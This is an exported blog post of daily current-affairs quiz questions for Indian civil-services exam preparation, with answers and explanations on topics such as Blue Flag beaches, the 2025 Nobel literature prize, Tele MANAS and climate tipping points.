{"id":2566,"date":"2025-10-14T11:18:48","date_gmt":"2025-10-14T11:18:48","guid":{"rendered":"https:\/\/iasquest.com\/?p=2566"},"modified":"2026-02-11T18:50:36","modified_gmt":"2026-02-11T18:50:36","slug":"daily-current-affairs-14-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-14-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 14-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following \u2018Blue Flag Certified beaches\u2019:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\" style=\"font-size:19px\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>&nbsp;<\/td><td><strong>Name of the Beach&nbsp;<\/strong><\/td><td><strong>State in India<\/strong><\/td><\/tr><tr><td>1<\/td><td>Kappad<\/td><td>Gujarat<\/td><\/tr><tr><td>2<\/td><td>Shivrajpur<\/td><td>Kerala<\/td><\/tr><tr><td>3<\/td><td>Kovalam<\/td><td>Tamil Nadu<\/td><\/tr><tr><td>4<\/td><td>Padubidri<\/td><td>Karnataka<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>How many of the above pairs are correctly matched? <\/strong>&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(a) Only one\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(b) Only two\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(c) Only three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(d) All the four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Answer: (b) Only two&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>In NEWS:<\/strong> Five Maharashtra Beaches Receive Prestigious International Blue Flag Certification. The list includes Shrivardhan and Nagaon beaches in Raigad district, Parnaka in Palghar, and Guhagar and Ladghar beaches in Ratnagiri district.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Blue Flag Certification:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li>Blue Flag is an international eco-label awarded by the <strong>Foundation for Environmental Education (FEE) based in Denmark.<\/strong><\/li>\n\n\n\n<li>It recognises beaches and marinas that meet 33 stringent criteria. These criteria focus on environmental education, water quality, safety, environmental management, and public amenities.<\/li>\n\n\n\n<li>The certification promotes sustainable tourism and environmental conservation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Criteria for Blue Flag Beaches<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>The 33 criteria include maintaining high water quality free from pollution.<\/li>\n\n\n\n<li>Safety measures such as lifeguards and rescue equipment are mandatory.<\/li>\n\n\n\n<li>Environmental education programmes must be available for visitors.<\/li>\n\n\n\n<li>Cleanliness is ensured through waste management and no plastic usage.<\/li>\n\n\n\n<li>Public facilities like clean toilets and drinking water are essential.<\/li>\n\n\n\n<li>The beach must also protect natural habitats and biodiversity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>List of Blue Flag Beaches in India (as of October 12, 2025)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>1. Shivrajpur Beach<\/strong> \u2013 Gujarat. <strong>Hence pair 2 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. Ghoghla Beach<\/strong> \u2013 Diu<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>3. Kasarkod Beach<\/strong> \u2013 Karnataka.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>4. Padubidri Beach<\/strong> \u2013 Karnataka. <strong>Hence pair 4 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>5. Kappad Beach<\/strong> \u2013 Kerala. <strong>Hence pair 1 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>6. Rushikonda Beach<\/strong> \u2013 Andhra Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>7. Golden Beach (Puri Beach)<\/strong> \u2013 Odisha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>8. Radhanagar Beach<\/strong> \u2013 Andaman and Nicobar Islands<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>9. Kovalam Beach<\/strong> \u2013 Tamil Nadu. <strong>Hence pair 3 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>10. Eden Beach<\/strong> \u2013 Puducherry<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>11. Minicoy Thundi Beach<\/strong> \u2013 Lakshadweep<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>12. Kadmat Beach<\/strong> \u2013 Lakshadweep<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>13. Shrivardhan Beach<\/strong> \u2013 Raigad District, Maharashtra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>14. Nagaon Beach<\/strong> \u2013 Raigad District, Maharashtra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>15. Parnaka Beach<\/strong> \u2013 Palghar District, Maharashtra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>16. Guhagar Beach<\/strong> \u2013 Ratnagiri District, Maharashtra<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>17. Ladghar Beach<\/strong> \u2013 Ratnagiri District, Maharashtra<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><strong>Q. Consider the following pairs<\/strong> <br><br><strong>Wetlands\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Confluence of rivers<\/strong> <br>1. Harike Wetlands\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0   &#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Confluence of Beas and Satluj\/Sutlej\u00a0 <br>2. Keoladeo Ghana National Park\u00a0\u00a0\u00a0       &#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Confluence of Banas and Chambal <br>3. Kolleru Lake\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8211;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Confluence of Musi and Krishna <br><br><strong>Which of the above pairs is\/are correctly matched?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/five-maharashtra-beaches-receive-prestigious-international-blue-flag-certification\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/five-maharashtra-beaches-receive-prestigious-international-blue-flag-certification\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>2. Who of the following is the author of the books \u201cWar &amp; War\u201d and \u201cThe Melancholy of Resistance\u201d?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(a) L\u00e1szl\u00f3 Krasznahorkai<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(b) Imre Kert\u00e9sz<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(c) P\u00e9ter N\u00e1das<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(d) Gy\u00f6rgy Konr\u00e1d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Answer: (a) L\u00e1szl\u00f3 Krasznahorkai<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>In NEWS: <\/strong>Nobel Prize in Literature 2025<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>The 2025 Nobel Prize in Literature was awarded to the Hungarian novelist L\u00e1szl\u00f3 Krasznahorkai (born 1954) &#8220;for his compelling and visionary oeuvre that, in the midst of apocalyptic terror, reaffirms the power of art.&#8221;<\/li>\n\n\n\n<li>He is the second Hungarian Nobel laureate in Literature after Imre Kert\u00e9sz in 2002.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>His notable works:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>Satantango<\/li>\n\n\n\n<li>The Melancholy of Resistance<\/li>\n\n\n\n<li>War &amp; War<\/li>\n\n\n\n<li>A Mountain to the North, a Lake to the South, Paths to the West, a River to the East<\/li>\n\n\n\n<li>Seiobo There Below<\/li>\n\n\n\n<li>Spadework for a Palace<\/li>\n\n\n\n<li>Baron Wenckheim&#8217;s Homecoming<\/li>\n\n\n\n<li>Herscht 07769<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Who of the following is the author of the books \u201cThe India Way\u201d and \u201cWhy Bharat Matters\u201d?<\/strong> <br>(a) Bhupender Yadav <br>(b) Nalin Mehta <br>(c) Shashi Tharoor <br><strong>(d) Subrahmanyam Jaishankar<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/books-and-literature\/nobel-prize-in-literature-2025-winners-live-updates-10295094\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/books-and-literature\/nobel-prize-in-literature-2025-winners-live-updates-10295094\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>3. Consider the following statements<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">1. Tele MANAS aims to provide comprehensive mental health services through a digital platform 24\/7.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">2. It also extends support for caretakers and parents of children and adolescents suffering from developmental disorders.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">3. The apex nodal institute for mentoring and monitoring Tele MANAS is NIMHANS.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>How many of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Answer: (c) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>In NEWS: <\/strong>On the occasion of World Mental Health Day 2025, new Initiatives for the Tele MANAS App launched<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Tele MANAS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>Tele MANAS aims to provide comprehensive mental health services through a digital platform namely telephone-based counselling services, psychotherapy, psychiatric consultations and referral services including emergency. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>In addition to the steering committees, the Apex Nodal Institute for mentoring and monitoring of Tele MANAS will be NIMHANS. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Video consultations are expected to be initiated soon with an e-prescription facility.<\/li>\n\n\n\n<li>Tele MANAS is a 24\/7 on-demand service available free of cost with ease of access via phone calls, bridging the gap in seeking appropriate mental health assistance.<\/li>\n\n\n\n<li>In addition, the service provision also includes support for parents and caretakers of children and adolescents suffering from developmental disorders like intellectual disabilities, autism spectrum disorders, ADHD, and various behavioural and emotional problems. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It is available in 20 Indian languages to cover the diverse needs surpassing cultural and regional differences of the country.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Objectives of Tele MANAS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>To exponentially scale up the reach of mental health services to anybody who reaches out, across India.<\/li>\n\n\n\n<li>To implement a full-fledged mental health-service network.<\/li>\n\n\n\n<li>To extend services to vulnerable groups of the population and difficult to reach populations<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177389\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2177389<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">I. The World Heritage Outlook is a global assessment system that evaluates the conservation status of all natural World Heritage sites.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">II. It is published by the United Nations Educational, Scientific and Cultural Organization (UNESCO)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">III. The Sundarbans National Park (India) is listed as a UNESCO World Heritage Site for its unique biodiversity and ecosystem services.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(a) I and II only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(b) III only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(c) I, and III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(d) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Answer: (c) I, and III only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>In NEWS:<\/strong> Climate change, diseases threaten Sundarbans National Park, latest IUCN World Heritage Outlook reveals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>World Heritage Outlook:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-76\">\n<li>The <strong>IUCN World Heritage Outlook<\/strong> is a global assessment system that evaluates the <strong>conservation status of all natural World Heritage sites<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>It is published by the <strong>International Union for Conservation of Nature (IUCN)<\/strong> every few years. <strong>Hence statement II is incorrect.<\/strong><\/li>\n\n\n\n<li>The assessment categories are &#8211; <strong>\u201cGood,\u201d \u201cGood with some concerns,\u201d \u201cSignificant concern,\u201d and \u201cCritical.\u201d<\/strong><\/li>\n\n\n\n<li>The Outlook assesses sites based on <strong>current state, threats, and management effectiveness.<\/strong><\/li>\n\n\n\n<li>It helps track progress toward achieving the <strong>UNESCO World Heritage Convention\u2019s goal<\/strong> of preserving sites with <strong>Outstanding Universal Value (OUV).<\/strong><\/li>\n\n\n\n<li>The 2025 Outlook warns that <strong>one-third of natural heritage sites<\/strong> face significant or critical threats.<\/li>\n\n\n\n<li>The report also notes a rise in threats from <strong>diseases, invasive species, and extreme weather events.<\/strong><\/li>\n\n\n\n<li>The <strong>Sundarbans National Park (India)<\/strong> is part of the <strong>largest mangrove forest ecosystem in the world<\/strong>, shared with Bangladesh. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>It is listed as a <strong>UNESCO World Heritage Site<\/strong> for its unique biodiversity and ecosystem services.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><strong>Q. Consider the following international agreements<\/strong> <br><br>1. The International Treaty on Plant Genetic Resources for Food and Agriculture <br>2. The United Nations Convention to Combat Desertification <br>3. The World Heritage Convention <br><br><strong>Which of the above has\/have a bearing on the biodiversity?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/climate-change-diseases-threaten-sundarbans-national-park-latest-iucn-world-heritage-outlook-reveals\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/climate-change-diseases-threaten-sundarbans-national-park-latest-iucn-world-heritage-outlook-reveals<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>5. Regarding Araneus nox (Leathery Garden Orb-weaver), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">I. It spins a large, vertical orb-shaped web to catch flying insects.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">II. It is primarily a ground-dwelling spider found in deserts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">III. It was first recorded in India from the Idukki Wildlife Sanctuary.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(b) I and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(c) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(d) II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Answer: (b) I and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>In NEWS: <\/strong>Survey in Idukki sanctuary reports first record of spider species Araneus nox in India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Araneus nox:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><em>Araneus nox<\/em>, commonly known as the <strong>Leathery Garden Orb\u2011weaver<\/strong>, belongs to the family <strong>Araneidae<\/strong> (orb\u2011weaving spiders) .<\/li>\n\n\n\n<li>It is commonly known as the Leathery Garden Orb-weaver, due to the leathery texture of its abdomen.<\/li>\n\n\n\n<li>Like other orb-weavers, it spins a large, vertical orb-shaped web to catch flying insects. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Araneus nox has a known distribution across Southeast Asia, including countries such as the Philippines, Malaysia, Indonesia (Sumatra, Riau), Myanmar, Singapore, Thailand.<\/li>\n\n\n\n<li>Before 2025, it had not been recorded from India. The recent survey in Idukki Wildlife Sanctuary (Kerala) is the first confirmed record in India. <strong>Hence statement III is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"275\" height=\"183\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-20.jpg\" alt=\"\" class=\"wp-image-2569\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"275\" height=\"183\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-19.jpg\" alt=\"\" class=\"wp-image-2570\"\/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>Habitat: It is found in primary and secondary forests.<\/li>\n\n\n\n<li>It is an arboreal species, constructing webs between trees and shrubs, typically above ground level. <strong>Hence statement II is incorrect.<\/strong><\/li>\n\n\n\n<li>The egg sac is quite interesting: it\u2019s dome\u2011shaped, uses fine yellow silk, overlaid with a coarse (wider spaced), wavy mesh of golden silk.<\/li>\n\n\n\n<li>As of now, Araneus nox has not been assessed by the IUCN Red List.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Regarding Peacock tarantula (Gooty tarantula), consider the following statements:<\/strong> <br><br>I. It is an omnivorous crustacean. <br>II. Its natural habitat in India is only limited to some forest areas. <br>III. In its natural habitat, it is an arboreal species. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) I only <br>(b) I and III <br>(c) II only <br><strong>(d) II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/kerala\/survey-in-idukki-sanctuary-reports-first-record-of-spider-species-araneus-nox-in-india\/article70143681.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/kerala\/survey-in-idukki-sanctuary-reports-first-record-of-spider-species-araneus-nox-in-india\/article70143681.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>6. The term \u201cHothouse Earth\u201d sometimes seen in the news, is used to describe which among the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(a) A planet with rising agricultural productivity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(b) A self-sustaining cycle of global warming due to multiple tipping points<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(c) An increase in ozone depletion events<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(d) A temporary climatic fluctuation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Answer: (b) A self-sustaining cycle of global warming due to multiple tipping points<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>In NEWS: <\/strong>Earth\u2019s \u2018New Reality\u2019 as first climate tipping point is crossed<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Global Tipping Points:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-103\">\n<li><strong>Tipping Point<\/strong> refers to a <strong>critical threshold<\/strong> where a small change can lead to <strong>large, often irreversible shifts<\/strong> in the Earth\u2019s climate or ecosystems.<\/li>\n\n\n\n<li>Once crossed, these changes <strong>self-perpetuate<\/strong> and are <strong>difficult or impossible to reverse<\/strong>, even if human pressures (like greenhouse gas emissions) are reduced.<\/li>\n\n\n\n<li>Crossing one tipping point can <strong>trigger others<\/strong>, creating a <strong>cascade effect<\/strong>.<\/li>\n\n\n\n<li>Scientists warn that multiple tipping points are <strong>interconnected<\/strong>, increasing the risk of a <strong>\u201cHothouse Earth\u201d scenario<\/strong> \u2014 a self-reinforcing cycle of global warming. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Urgent mitigation efforts (like limiting warming to <strong>1.5\u00b0C<\/strong>) are crucial to <strong>avoid crossing<\/strong> dangerous thresholds.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Types of Tipping Points<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>A. Climate System Tipping Points: <\/strong>Related to <strong>Earth\u2019s physical climate systems<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Examples:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li><strong>Greenland Ice Sheet melt<\/strong> \u2013 could raise global sea levels by 7m.<\/li>\n\n\n\n<li><strong>West Antarctic Ice Sheet collapse<\/strong> \u2013 adds ~3m 